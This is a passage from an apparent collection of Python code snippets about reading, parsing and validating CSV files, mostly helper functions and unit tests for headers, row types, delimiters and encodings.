duplicate_keys\\n\\n # Test invalid syntax\\n with open(invalid_headers_file_path) as test_file:\\n test_file = test_file.read()\\n\\n rows = list(csv.DictReader(StringIO(test_file)))\\n with pytest.raises(ValidationFailed) as v_error:\\n validate_csv(rows)\\n\\n validation_resp = v_error.value.errors[0]\\n invalid_rows = [x[\\\"row\\\"] for x in validation_resp[\\\"detail\\\"]]\\n assert \\\"error\\\" in validation_resp\\n assert 3 in invalid_rows\\n assert 4 in invalid_rows\\n assert 5 in invalid_rows\\n\\n # Test unicode decode errors\\n test_data = b\\\"\\\\xff\\\\xfe_\\\\x00k\\\\x00e\\\\x00y\\\\x00,\\\\x00n\\\\x00a\\\\x00m\\\\x00e\\\\x00\\\\n\\\"\\n pytest.raises(DecodeFailed, decode_data, test_data)\",\n \"def open_convert_and_clean_csv(csv_data_file):\\n imported_data = tablib.Dataset().load(open(csv_data_file).read())\\n dataset = []\\n for row in imported_data:\\n if float(row[1]) > 0 and float(row[2]) > 0:\\n dataset.append((row[0], float(row[1]), float(row[2])))\\n return dataset\",\n \"def test_csv_reader_data_contents(process_data):\\n data = process_data(file_name_or_type='clean_map.csv')\\n\\n # Check row types\\n for row in data:\\n assert(isinstance(row['Country'], str))\\n assert(isinstance(row['City'], str))\\n assert(isinstance(row['State_Or_Province'], str))\\n assert(isinstance(row['Lat'], float))\\n assert(isinstance(row['Long'], float))\\n assert(isinstance(row['Altitude'], float))\\n\\n # Basic data checks\\n assert len(data) == 180 # We have collected 180 rows\\n assert data[0]['Country'] == 'Andorra'\\n assert data[106]['Country'] == 'Japan'\",\n \"def process(self, record):\\n is_data = True\\n if self.file_path.split('.')[-1] == 'csv':\\n if self.header_skip:\\n logging.info('Skipping header data... {}'.format(record))\\n self.header_skip = False\\n is_data = False\\n return [(record, None, None, is_data)]\\n record_attributes = list(csv.reader([record]))[0]\\n if len(record_attributes) != len(self.schema[FIELDS_KEY]):\\n if len(record_attributes) > 1 or not record_attributes[0].strip().isdigit():\\n IS_VALID_FILE = False\\n is_data = None\\n return [(record, None, None, is_data)]\\n for record_attribute, attribute_schema in zip(\\n record_attributes, self.schema[FIELDS_KEY]):\\n is_valid_datatype_check = self.__datatype_check(record_attribute, attribute_schema)\\n is_valid_null_check = self.__null_check(record_attribute, attribute_schema)\\n return [(record, is_valid_datatype_check, is_valid_null_check, is_data)]\",\n \"def test_invalid_header(self, tmpdir):\\n path1 = tmpdir.join(\\\"invalid.csv\\\")\\n path1.write(\\\"not,a,valid,header,row\\\")\\n with pytest.raises(ValueError):\\n parse_file(str(path1))\\n\\n path2 = tmpdir.join(\\\"valid.csv\\\")\\n path2.write(\\\",\\\".join(HEADER_ROW))\\n try:\\n parse_file(str(path2))\\n except ValueError:\\n assert False, \\\"Unexpected ValueError\\\"\",\n \"def _validate_row(self, row):\\n\\n # assume value.\\n is_valid = True\\n\\n # test if each field in @row has the correct data type.\\n tests = []\\n for field, value in row.items():\\n value_type, header_type = (type(value).__name__, \\n self.required_headers[field].__name__)\\n test = value_type == header_type\\n if not test:\\n err = \\\"Field '{}' not valid; expected '{}', got '{}'.\\\".format(field,\\n header_type, value_type)\\n self.logger.debug(err)\\n tests.append(test)\\n\\n # if any test failed, set @is_valid to False.\\n if False in tests:\\n is_valid = False\\n \\n return is_valid\",\n \"def test_csvfile_different_types(fs: FakeFilesystem) -> None:\\n contents = '''\\\"a\\\"\\n1\\n2.0\\n\\\"test\\\"'''\\n fs.create_file(\\\"test.csv\\\", contents=contents)\\n\\n adapter = CSVFile(\\\"test.csv\\\")\\n\\n assert adapter.get_columns() == {\\n \\\"a\\\": String(\\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\\n order=Order.NONE,\\n exact=True,\\n ),\\n }\",\n \"def test_is_valid_manifest_format_with_csv(caplog):\\n assert is_valid_manifest_format(\\\"tests/test_manifest.csv\\\") == True\\n assert caplog.text == \\\"\\\"\",\n \"def isLineData(self, line):\\n\\n if line is None or line.strip().startswith('#'):\\n return False, None, 0\\n\\n dataType = self.getDataType()\\n\\n if dataType == 'Y':\\n # Y with 1 column\\n try:\\n yValue = float(line)\\n\\n return True, 'Y', 1\\n except:\\n pass\\n\\n # Y with comma 2 to 5 column\\n try:\\n yValueList = []\\n yValueList = line.split(',')\\n\\n if len(yValueList) > 1 and len(yValueList) <= 5:\\n newYValues = []\\n for yValue in yValueList:\\n try:\\n yValue = float(yValue)\\n newYValues.append(yValue)\\n except ValueError:\\n pass\\n\\n return True, 'Y', len(newYValues)\\n except:\\n pass\\n\\n # Y with space 2 to 5 column\\n try:\\n yValueList = []\\n yValueList = line.split()\\n\\n if len(yValueList) > 1 and len(yValueList) <= 5:\\n for yValue in yValueList:\\n yValue = float(yValue)\\n\\n return True, 'Y', len(yValueList)\\n except:\\n pass\\n elif dataType == 'XY':\\n # XY with comma\\n try:\\n (xValue, yValue) = line.split(',')\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n\\n # XY with comma\\n try:\\n xValue, yValue, dummy = line.split(',')\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n\\n # XY with space\\n try:\\n (xValue, yValue) = line.split()\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n else:\\n # Y with 1 column\\n try:\\n yValue = float(line)\\n\\n return True, 'Y', 1\\n except:\\n pass\\n\\n # Y with comma 2 to 5 column\\n try:\\n yValueList = []\\n yValueList = line.split(',')\\n\\n if len(yValueList) > 1 and len(yValueList) <= 5:\\n numberValues = 0\\n for yValue in yValueList:\\n try:\\n yValue = float(yValue)\\n numberValues += 1\\n except ValueError:\\n pass\\n\\n return True, 'Y', numberValues\\n except:\\n pass\\n\\n # Y with space 2 to 5 column\\n try:\\n yValueList = []\\n yValueList = line.split()\\n\\n if len(yValueList) > 1 and len(yValueList) <= 5:\\n for yValue in yValueList:\\n yValue = float(yValue)\\n\\n return True, 'Y', len(yValueList)\\n except:\\n pass\\n\\n # XY with comma\\n try:\\n (xValue, yValue) = line.split(',')\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n\\n # XY with comma\\n try:\\n xValue, yValue, dummy = line.split(',')\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n\\n # XY with space\\n try:\\n (xValue, yValue) = line.split()\\n\\n xValue = float(xValue)\\n yValue = float(yValue)\\n\\n return True, 'XY', 2\\n except:\\n pass\\n\\n return False, None, 0\",\n \"def check_meatadata_row(validated, input_validate_dict, row, idx):\\n\\n if row['RealCrystalName'].isspace() or row['RealCrystalName'] == 'nan':\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'RealCrystalName spaces or null', idx + 2)\\n validated = False\\n if row['crystal_name'].isspace() or row['RealCrystalName'] == 'nan':\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name spaces or null', idx + 2)\\n validated = False\\n if row['RealCrystalName'] not in row['crystal_name']:\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name does not contain RealCrystalName', idx + 2)\\n validated = False\\n if row['smiles'] == 'nan':\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Smiles null', idx + 2)\\n validated = False\\n\\n return validated, input_validate_dict\",\n \"def test_with_no_specified_or_inferred_schema(self):\\n # should default to creating a schema of all strings\\n frame = self.context.frame.import_csv(self.dataset, infer_schema=False)\\n expected_schema = [(\\\"C0\\\", str), (\\\"C1\\\", str), (\\\"C2\\\", str)]\\n self.assertEqual(frame.schema, expected_schema)\",\n \"def test_parse_invalid_file(self):\\n with pytest.raises(ParserError):\\n self.parser.parse(\\\"invalid csv\\\")\",\n \"def test_misc_csv_read():\\n r = csv_reader(\\\"../test/test.csv\\\")\\n fields = r.hdr()\\n data = str(fields)\\n while True:\\n row = r.row()\\n if not row: break\\n data += '\\\\n' + str(row)\\n\\n assert(data == \\\"\\\"\\\"\\n['EVT_CODE*', 'EVT_DATE.DE', 'CODE', 'AGE', 'FRST', 'LST', 'SPEC', 'de.id']\\n['tea', '2018/01/01', 'X', '35', 'PRE', 'WHO', 'BUG', '1']\\n['coffee', '2018/05/05', 'X', '35', 'JAN,Z', 'WHO', 'FRG', '1']\\n['water', '2018/01/01', 'Y', '35', 'TAN', 'POST', 'CAT', '2']\\n \\\"\\\"\\\".strip())\",\n \"def test_load_csv_file():\\n data = loader.load_csv_file(\\\"buildup/reference/comsol_solution/lofi/voltage.csv.bz2\\\")\\n\\n assert data.any()\",\n \"def filterLines(weatherRDDRecord):\\n fieldsList = weatherRDDRecord.split(\\\",\\\")\\n #return len(fieldsList)\\n if any(i.isdigit() for i in fieldsList[0]):\\n return True\\n else:\\n return False\",\n \"def test_itercsv_emits_data_lines():\\n expected = [\\n b'Hello,World\\\\r\\\\n',\\n b'1,2\\\\r\\\\n',\\n b'3,4\\\\r\\\\n'\\n ]\\n assert list(itercsv(['Hello', 'World'], [[1, 2], [3, 4]])) == expected\",\n \"def test_schema_duplicate_names_same_type(self):\\n # two num1's with same type\\n bad = [(\\\"num1\\\", int), (\\\"num1\\\", int), (\\\"num2\\\", int)]\\n with self.assertRaisesRegexp(Exception, \\\"more than one char\\\"):\\n self.context.frame.import_csv(self.dataset, bad)\",\n \"def _verify_csv_file_report(self, report_store, expected_data):\\n report_csv_filename = report_store.links_for(self.course.id)[0][0]\\n report_path = report_store.path_to(self.course.id, report_csv_filename)\\n with report_store.storage.open(report_path) as csv_file:\\n csv_file_data = csv_file.read()\\n # Removing unicode signature (BOM) from the beginning\\n csv_file_data = csv_file_data.decode(\\\"utf-8-sig\\\")\\n for data in expected_data:\\n self.assertIn(data, csv_file_data)\",\n \"def test_is_valid_row(self):\\n dognames = student_submission.read_csv('./dognames.csv')\\n\\n self.assertTrue(student_submission.is_valid_row(dognames[999]),\\n 'Your implementation seems wrong')\\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010),\\n 'Your implementation seems wrong')\\n self.assertTrue(student_submission.is_valid_row(dognames[999], sex='m'),\\n 'Your implementation seems wrong')\\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010, sex='m'),\\n 'Your implementation seems wrong')\\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2006, sex='m'),\\n 'Your implementation seems wrong')\\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2010, sex='w'),\\n 'Your implementation seems wrong')\\n\\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i]) for i in range(len(dognames))), 6980,\\n 'Your implementation seems wrong')\\n\\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], sex='w') for i in range(len(dognames))), 3549,\\n 'Your implementation seems wrong')\\n\\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], year=2000) for i in range(len(dognames))), 118,\\n 'Your implementation seems wrong')\",\n \"def line_is_valid(line):\\n if '-' in map(lambda item: item.strip(), line.strip().split(\\\";\\\")):\\n return False\\n else:\\n return True\",\n \"def validate_data(self, row, col, value):\\n\\n return True\",\n \"def is_valid(self, dataset):\\n pass\",\n \"def valid_format(s):\\n if len(s) > 7:\\n return False\\n elif '0' in s and len(s) == 1:\\n return True\\n elif s[0] == '0' and len(s) > 1:\\n return False\\n elif introcs.isalpha(s):\\n return False\\n elif (len(s) > 3) and (introcs.count_str(s, ',') == 0):\\n return False\\n elif introcs.count_str(s, ',') == 0:\\n return introcs.isdecimal(s)\\n elif introcs.count_str(s, ',') > 1:\\n return False\\n elif ',' in s and introcs.count_str(s,',') == 1:\\n comma_check = s[introcs.find_str(s, ',')+1:]\\n before_comma_check = s[:introcs.find_str(s, ',')]\\n introcs.isdecimal(before_comma_check)\\n return (True if len(comma_check) == 3 else False) and introcs.isdecimal(before_comma_check)\",\n \"def test_schema_duplicate_names_diff_type(self):\\n # double num1's same type\\n bad = [(\\\"num1\\\", int), (\\\"num1\\\", str), (\\\"num2\\\", int)]\\n with self.assertRaisesRegexp(Exception, \\\"more than one char\\\"):\\n self.context.frame.import_csv(self.dataset, bad)\",\n \"def read_csv():\",\n \"def validate_format(self):\\n return all(\\n [\\n self.validate_header_keyword(),\\n self.validate_type_keyword(),\\n self.validate_type_annotations(),\\n self.validate_unique_header(),\\n self.validate_against_header_count(),\\n ]\\n )\",\n \"def test_csv_simple_input(self):\\n\\n # Mix of integer and string data. Ensure that commas and\\n # quotes are escaped properly.\\n data = [\\n {\\n 'name': 'Normal string',\\n 'item_num': 1,\\n },\\n {\\n 'name': 'String, with, commas',\\n 'item_num': 2,\\n },\\n {\\n 'name': 'String with \\\" quote',\\n 'item_num': 3,\\n },\\n ]\\n\\n table = TableReportForTesting(data)\\n response = table.as_csv(HttpRequest())\\n self.assertEqual(response.status_code, 200)\\n # Expect cells containing commas to be escaped with quotes.\\n content = response.content\\n if PY3:\\n content = content.decode(settings.DEFAULT_CHARSET).replace('\\\\x00', '')\\n self.assertEqual(\\n content,\\n 'Name,Item Num\\\\r\\\\n'\\n 'Normal string,1\\\\r\\\\n'\\n '\\\"String, with, commas\\\",2\\\\r\\\\n'\\n '\\\"String with \\\"\\\" quote\\\",3\\\\r\\\\n')\",\n \"def test_csv_row_bug(script_runner, tmpdir, test_dir):\\n csv_file = tmpdir / 'csv_file.csv'\\n\\n ret = script_runner.run(\\n 'mwcp-tool', '-p', 'foo', '-c', str(csv_file), str(test_dir), cwd=str(tmpdir))\\n print(ret.stdout)\\n print(ret.stderr, file=sys.stderr)\\n assert ret.success\\n\\n assert csv_file.exists()\\n\\n with csv_file.open('r') as fo:\\n reader = csv.reader(fo)\\n rows = list(reader)\\n assert len(rows) == len(test_dir.listdir()) + 1\\n assert rows[0] == ['scan_date', 'inputfilename', 'outputfile.name',\\n 'outputfile.description', 'outputfile.md5', 'address', 'debug', 'url']\\n for i, row in enumerate(rows[1:]):\\n assert row[0] and row[1]\\n # Test entries except the timestamp and full file path.\\n assert row[2:] == [\\n 'fooconfigtest.txt',\\n 'example output file',\\n '5eb63bbbe01eeed093cb22bb8f5acdc3',\\n '127.0.0.1',\\n ('[+] File test_{0}.txt identified as Foo.\\\\n'\\n '[+] size of inputfile is 23 bytes\\\\n'\\n '[+] operating on inputfile test_{0}.txt').format(i),\\n 'http://127.0.0.1',\\n ]\",\n \"def VerifyRow(self, parser_mediator, row):\\n if len(row) != self._NUMBER_OF_COLUMNS:\\n return False\\n\\n # If the date and time string cannot be converted into a date time object,\\n # then do not consider this to be a McAfee AV Access Protection Log.\\n try:\\n self._CreateDateTime(row['date'], row['time'])\\n except errors.ParseError:\\n return False\\n\\n # Use the presence of these strings as a backup or in case of partial file.\\n status = row['status']\\n if 'Access Protection' not in status and 'Would be blocked' not in status:\\n return False\\n\\n return True\",\n \"def _read_csv(self, options, datas):\\n csv_data = datas\\n if not csv_data:\\n return iter([])\\n encoding = options.get('encoding')\\n if not encoding:\\n encoding = options['encoding'] = chardet.detect(csv_data)['encoding'].lower()\\n # some versions of chardet (e.g. 2.3.0 but not 3.x) will return\\n # utf-(16|32)(le|be), which for python means \\\"ignore / don't strip\\n # BOM\\\". We don't want that, so rectify the encoding to non-marked\\n # IFF the guessed encoding is LE/BE and csv_data starts with a BOM\\n bom = BOM_MAP.get(encoding)\\n if bom and csv_data.startswith(bom):\\n encoding = options['encoding'] = encoding[:-2]\\n if encoding != 'utf-8':\\n csv_data = csv_data.decode(encoding).encode('utf-8')\\n\\n separator = options.get('separator')\\n if not separator:\\n # default for unspecified separator so user gets a message about\\n # having to specify it\\n separator = ','\\n for candidate in (',', ';', '\\\\t', ' ', '|', unicodedata.lookup('unit separator')):\\n # pass through the CSV and check if all rows are the same\\n # length & at least 2-wide assume it's the correct one\\n it = pycompat.csv_reader(io.BytesIO(csv_data), quotechar=options['quoting'], delimiter=candidate)\\n w = None\\n for row in it:\\n width = len(row)\\n if w is None:\\n w = width\\n if width == 1 or width != w:\\n break # next candidate\\n else: # nobreak\\n separator = options['separator'] = candidate\\n break\\n csv_iterator = pycompat.csv_reader(\\n io.BytesIO(csv_data),\\n quotechar=options['quoting'],\\n delimiter=separator)\\n return (\\n row for row in csv_iterator\\n if any(x for x in row if x.strip())\\n )\",\n \"def csv_statistics_validator(stats, schema):\\n stats_anomalies = tfdv.validate_statistics(statistics = stats, schema = schema)\\n tfdv.display_anomalies(stats_anomalies)\\n return stats_anomalies\",\n \"def handle_csv(self):\\n try:\\n reader = csv.reader(open(self.options.datafile, 'r'))\\n except IOError:\\n errormsg(_('Cannot read \\\"{}\\\"'.format(self.options.datafile)))\\n raise Exception(_('Cannot read \\\"{}\\\"'.format(self.options.datafile)))\\n if self.options.var_type == 'name':\\n try:\\n self.header = reader.next()\\n except StopIteration:\\n errormsg(_('Data file \\\"{}\\\" contains no data'.format(\\n self.options.datafile)))\\n raise Exception(_('Data file \\\"{}\\\" contains no data'.format(\\n self.options.datafile)))\\n self.data = []\\n for row in reader:\\n self.data.append(row)\",\n \"def has_header_row(self, strdata):\\n debug = False\\n comma_dec_sep_ok = True\\n if debug: print(strdata)\\n if len(strdata) < 2: ## a header row needs a following row to be a header\\n return False\\n row1_types = [lib.get_val_type(val, comma_dec_sep_ok) \\n for val in strdata[0]]\\n row2_types = [lib.get_val_type(val, comma_dec_sep_ok) \\n for val in strdata[1]]\\n str_type = mg.VAL_STRING\\n empty_type = mg.VAL_EMPTY_STRING\\n non_str_types = [mg.VAL_DATE, mg.VAL_NUMERIC]\\n return importer.has_header_row(\\n row1_types, row2_types, str_type, empty_type, non_str_types)\",\n \"def __init__(self, message, file_handle, format):\\n oh = open(file_handle, \\\"rU\\\")\\n config.log.error(\\\"csv/tsv file did not pass the csv parser\\\")\\n config.log.error(\\\"Message: %s\\\" % message)\\n print(\\\"-----------------------\\\")\\n print(\\\"CSV Diagnostic:\\\")\\n if \\\"skiplines\\\" in format: # skip the lines.\\n if format[\\\"skiplines\\\"] != -1:\\n for n in range(format[\\\"skiplines\\\"]):\\n oh.readline().rstrip(\\\"\\\\r\\\\n\\\")\\n\\n print(\\\"0:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"1:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"2:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"3:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"-----------------------\\\")\\n print(\\\"Format Specifier: %s\\\" % (\\\" \\\".join([\\\"%s:%s\\\\t\\\" % (key, format[key]) for key in format])))\\n print(\\\"Expected Format, based on the format specifier:\\\")\\n oh.close()\\n\\n # This is a safe-ish version of loadCSV() that intelligently fails.\\n\\n if \\\"sniffer\\\" not in format:\\n oh = open(file_handle, \\\"rU\\\")\\n if \\\"dialect\\\" in format:\\n reader = csv.reader(oh, dialect=format[\\\"dialect\\\"])\\n else:\\n reader = csv.reader(oh)\\n\\n try:\\n if \\\"skiplines\\\" in format:\\n skiplines = format[\\\"skiplines\\\"]\\n else:\\n skiplines = 0 # skip any header row by default.\\n except:\\n print(\\\"Error: End of File\\\") # premature end of file, skip out.\\n print(\\\"-----------------------\\\")\\n print(\\\"Error: %s\\\" % (message))\\n return\\n\\n for index, column in enumerate(reader): # This is cryptically called column, when it is actually row.\\n if index > skiplines:\\n if column: # list is empty, so omit.\\n if (not (column[0] in typical_headers)):\\n d = {}\\n for key in format:\\n if not (key in ignorekeys): # ignore these tags\\n try:\\n if not key in d:\\n d[key] = {}\\n if isinstance(format[key], dict) and \\\"code\\\" in format[key]:\\n # a code block insertion goes here - any valid lib and one line python code fragment\\n # store it as a dict with the key \\\"code\\\"\\n d[key] = eval(format[key][\\\"code\\\"]) # this always fails for some reason...\\n else:\\n d[key] = str(column[format[key]])\\n except:\\n d[key] = \\\"mangled\\\"\\n print(\\\"%s\\\" % (\\\" \\\".join([\\\"%s:%s\\\" % (key, d[key]) for key in d])))\\n if index > 3:\\n break\\n else:\\n print(\\\" No specified format (glbase will guess)\\\")\\n\\n print(\\\"-----------------------\\\")\\n config.log.error(\\\"End of error output\\\")\",\n \"def entry_valid(entry):\\n\\n if len(entry) != 4:\\n return False\\n date_list = re.split('\\\\\\\\W', entry[0])\\n if len(date_list) != 2:\\n return False\\n try:\\n int(date_list[0])\\n int(date_list[1])\\n float(entry[2])\\n except ValueError:\\n return False\\n return True\",\n \"def __input_data_ok(self, line=None):\\n # valid pattern: 1407478022|www.facebook.com\\n valid_pattern = re.compile(\\\"\\\\w{10}\\\\|\\\\w+\\\")\\n if (line) and (re.match(valid_pattern, line)):\\n return True\\n else:\\n return False\",\n \"def validate(self, row):\\n raise NotImplementedError\",\n \"def validate_data(self, data):\\n # TODO use schema\\n assert \\\"file_contents\\\" in data, data\\n assert \\\"type\\\" in data, data\",\n \"def test_csv(self, input_file_path: str, answer_file_path: List[Dict]):\\n with open(attach_path(answer_file_path), 'r') as answer_file:\\n csv_file = open(attach_path(input_file_path))\\n assert str(read_csv(csv_file)) == answer_file.read().strip()\",\n \"def test_parser():\\n data = parse_csv(TEST_DATA)\\n assert data['2020-01-03'] == ['recycle']\\n assert data['2020-01-08'] == ['bio', 'trash']\\n assert data['2021-01-09'] == ['christmas']\",\n \"def test_delimiter_empty(self):\\n with self.assertRaisesRegexp(Exception, \\\"delimiter\\\"):\\n self.context.frame.import_csv(self.dataset,\\n self.schema, delimiter=\\\"\\\")\",\n \"def check_csv_headers(csvfile, headers):\\n\\n with open(csvfile, 'rb') as f:\\n csv_header = f.readline()\\n\\n # Check the lower ones\\n if headers[1][0] not in csv_header.lower():\\n return False\\n\\n return True\",\n \"def isRecordNameValid(record):\\n # Split the string with the record separator ':'\\n splitted = record.split(':')\\n # There must be 5 values - year:month:day:hour:minute\\n if len(splitted) != 5:\\n # Not valid - more or less than 5 values\\n return False\\n # There are 5 values - check each one if is a number\\n for x in splitted:\\n # If one of the values is not a number - record is not valid\\n if not isNumber(x):\\n return False\\n # The record is valid\\n return True\",\n \"def test_row_parsing(self, tmpdir):\\n json_file = str(tmpdir.join(\\\"f.json\\\"))\\n with open(json_file, \\\"w\\\") as f:\\n json.dump({\\\"ds\\\": [{\\\"file\\\": \\\"data.nc\\\", \\\"size\\\": 0, \\\"mtime\\\": 0, \\\"sha256\\\": 0}]}, f)\\n\\n create = CsvRowDataset.from_strings\\n\\n # Check extraneous whitespace is ignored and Yes/No to boolean\\n # conversion\\n got1 = create([\\\"ds\\\", \\\"100\\\", \\\" url\\\", \\\"title, here\\\", \\\"no\\\", \\\"Yes\\\", json_file])\\n expected1 = CsvRowDataset(\\\"ds\\\", 100, \\\"url\\\", \\\"title, here\\\", False, True, json_file)\\n assert got1 == expected1\\n\\n got2 = create([\\\"ds\\\", \\\"100\\\", \\\" url\\\", \\\"title, here\\\", \\\"No\\\", \\\"yes\\\", json_file])\\n expected2 = CsvRowDataset(\\\"ds\\\", 100, \\\"url\\\", \\\"title, here\\\", False, True, json_file)\\n assert got2 == expected2\\n\\n # Check invalid int and bool values\\n assert pytest.raises(ValueError, create, [\\\"ds\\\", \\\"blah\\\", \\\"url\\\", \\\"title\\\", \\\"Yes\\\", json_file])\\n assert pytest.raises(ValueError, create, [\\\"ds\\\", \\\"200\\\", \\\"url\\\", \\\"title\\\", \\\"blah\\\", json_file])\",\n \"def test_csvfile_single_row_of_data(fs: FakeFilesystem) -> None:\\n contents = \\\"\\\"\\\"\\\"a\\\",\\\"b\\\"\\n1,2\\\"\\\"\\\"\\n fs.create_file(\\\"test.csv\\\", contents=contents)\\n\\n adapter = CSVFile(\\\"test.csv\\\")\\n\\n assert adapter.get_columns() == {\\n \\\"a\\\": Float(\\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\\n order=Order.NONE,\\n exact=True,\\n ),\\n \\\"b\\\": Float(\\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\\n order=Order.NONE,\\n exact=True,\\n ),\\n }\\n assert list(adapter.get_data({}, [])) == [{\\\"a\\\": 1.0, \\\"b\\\": 2.0, \\\"rowid\\\": 0}]\",\n \"def test_read_line(self):\\n\\n expected_data = ['\\\\\\\"lu, jr\\\\\\\"','ming-yuan','\\\\\\\"DRUG,1\\\\\\\"',135.999,True,3]\\n input_string = '001,\\\\\\\"LU, JR\\\\\\\",MING-YUAN,\\\\\\\"DRUG,1\\\\\\\",135.999\\\\n'\\n data = read_line(input_string)\\n self.assertEqual(expected_data[0],data[0])\\n self.assertEqual(expected_data[1],data[1])\\n self.assertEqual(expected_data[2],data[2])\\n self.assertAlmostEqual(expected_data[3],data[3])\\n self.assertEqual(expected_data[4],data[4])\\n self.assertAlmostEqual(expected_data[5],data[5])\\n\\n #Check for odd numers of quotation marks\\n input_string = '001,\\\\\\\"LU\\\\\\\",\\\\\\\"MING-YUAN,DRUG1,135\\\\n'\\n data = read_line(input_string)\\n self.assertFalse(data[4])\\n\\n #Check for missing fields\\n input_string = '001,,MING-YUAN,DRUG1,135\\\\n'\\n data = read_line(input_string)\\n self.assertFalse(data[4])\\n\\n input_string = '001,LU,MING-YUAN,DRUG1,\\\\n'\\n data = read_line(input_string)\\n self.assertFalse(data[4])\\n\\n #Check for corrupted fields\\n input_string = '001x,LU,MING-YUAN,DRUG1,135\\\\n'\\n data = read_line(input_string)\\n self.assertFalse(data[4])\\n\\n input_string = '001,LU,MING-YUAN,DRUG1,1ag5\\\\n'\\n data = read_line(input_string)\\n self.assertFalse(data[4])\",\n \"def has_supported_header_hormat(cls, csv_reader):\\n return csv_reader.fieldnames == cls.INGFormatHeader\",\n \"def test_non_int_value_raises_an_exception():\\n test_file = StringIO(\\n u'fri,wed\\\\na,6'\\n )\\n\\n csv_parser = CSVParser(test_file)\\n\\n with pytest.raises(ValueError):\\n csv_parser.parse()\",\n \"def _isvalid_file(filename):\\r\\n thisisavalidfile = True\\r\\n if (filename[0] == \\\".\\\") or (filename[0] == \\\"_\\\") or not ((filename.split(\\\".\\\")[-1] == \\\"txt\\\") or (filename.split(\\\".\\\")[-1] == \\\"csv\\\")):\\r\\n thisisavalidfile = False\\r\\n\\r\\n return thisisavalidfile\",\n \"def test_csvfile_get_data_impossible_filter(fs: FakeFilesystem) -> None:\\n fs.create_file(\\\"test.csv\\\", contents=CONTENTS)\\n\\n adapter = CSVFile(\\\"test.csv\\\")\\n assert list(adapter.get_data({\\\"index\\\": Impossible()}, [])) == []\",\n \"def _is_probably_new_datfile_format(raw_data):\\n return \\\"<OOI-ts:\\\" in raw_data\",\n \"def test_missing_columns(self):\\n file = SimpleUploadedFile(\\n \\\"test.csv\\\",\\n b\\\"msisdn,messaging consent,edd year,edd month,baby dob year,\\\"\\n b\\\"baby dob month,baby dob day\\\\n\\\",\\n )\\n form = MomConnectImportForm(\\n data={\\\"source\\\": \\\"MomConnect Import\\\"}, files={\\\"file\\\": file}\\n )\\n self.assertTrue(form.is_valid())\\n instance = form.save()\\n self.assertEqual(instance.status, MomConnectImport.Status.ERROR)\\n [error] = instance.errors.all()\\n self.assertEqual(\\n error.error, \\\"Fields edd_day facility_code id_type not found in header\\\"\\n )\",\n \"def loadCSV(input_file):\",\n \"def test_without_schema(self):\\n frame = self.context.frame.import_csv(self.dataset)\\n expected_inferred_schema = [(\\\"C0\\\", int), (\\\"C1\\\", str), (\\\"C2\\\", int)]\\n self.assertEqual(frame.schema, expected_inferred_schema)\",\n \"def test_is_entry_formatted(self):\\n\\n valid_formats = test_case_data.get('valid_formats')\\n for i, valid_entry in enumerate(test_case_data.get('valid_entries')):\\n entry = [value.strip() for value in valid_entry.split(',')]\\n format_fields = valid_formats[i].split(',')\\n valid = self.parser._is_entry_formatted(entry, format_fields)\\n self.assertTrue(valid, f'{entry} is not of a valid format')\\n\\n # fails with invalid entries\\n for invalid_entry in test_case_data.get('invalid_entries'):\\n entry = [value.strip() for value in invalid_entry.split(',')]\\n for f in valid_formats:\\n format_fields = f.split(',')\\n entry_dict = self.parser._is_entry_formatted(entry, format_fields)\\n self.assertFalse(entry_dict, f'{entry} is not of a valid format')\",\n \"def _validate_latlon(self, col):\\r\\n # Assumes input in format ##d##.####' Dir or ##d##' Dir\\r\\n # latlon_pattern = \\\"[0-9]+[d][0-9]+[.][0-9]+\\\\' [nsewNSEW]\\\"\\r\\n latlon_pattern = \\\"[0-9]+[d][0-9]+[.]?[0-9]+\\\\' [nsewNSEW]\\\"\\r\\n error_rows = [] # initialize list of rows with errors\\r\\n # Loop through data and validate lat/long value\\r\\n for i, row in enumerate(self.rows):\\r\\n csv_row = i + 1\\r\\n coord = row[col]\\r\\n if not re.search(latlon_pattern, coord):\\r\\n error_rows.append(csv_row)\\r\\n #\\r\\n # \\\"\\\"\\\"\\r\\n # ALTERNATE UNUSED APPROACH, but kept as an example for reference\\r\\n # Pandas approach: Creates a True/False series showing records that match the pattern\\r\\n # The tilde (~) in front of series inverts the True/False values,\\r\\n # which is the same as records that DO NOT match the pattern\\r\\n # \\\"\\\"\\\"\\r\\n # validrows = self.dataframe[col].str.contains(latlong_pattern)\\r\\n # errors = self.dataframe[~validrows]\\r\\n\\r\\n return error_rows\",\n \"def place_types_read_csv(self, csv_input):\\n csv_data = pd.read_csv(csv_input, encoding='UTF-8', sep=',', na_values=[''])\\n self.table = csv_data.fillna('').applymap(lambda x: x.strip() if type(x) == str else x)\\n self.log.info('Data read from CSV %s' % csv_input)\",\n \"def read_csv(self, csv_input):\\n # https://stackoverflow.com/a/45063514\\n dtypes = {\\n 'lat': 'U',\\n 'long': 'U'\\n }\\n csv_data = pd.read_csv(csv_input, encoding='UTF-8', sep=',', na_values=[''], dtype=dtypes)\\n\\n 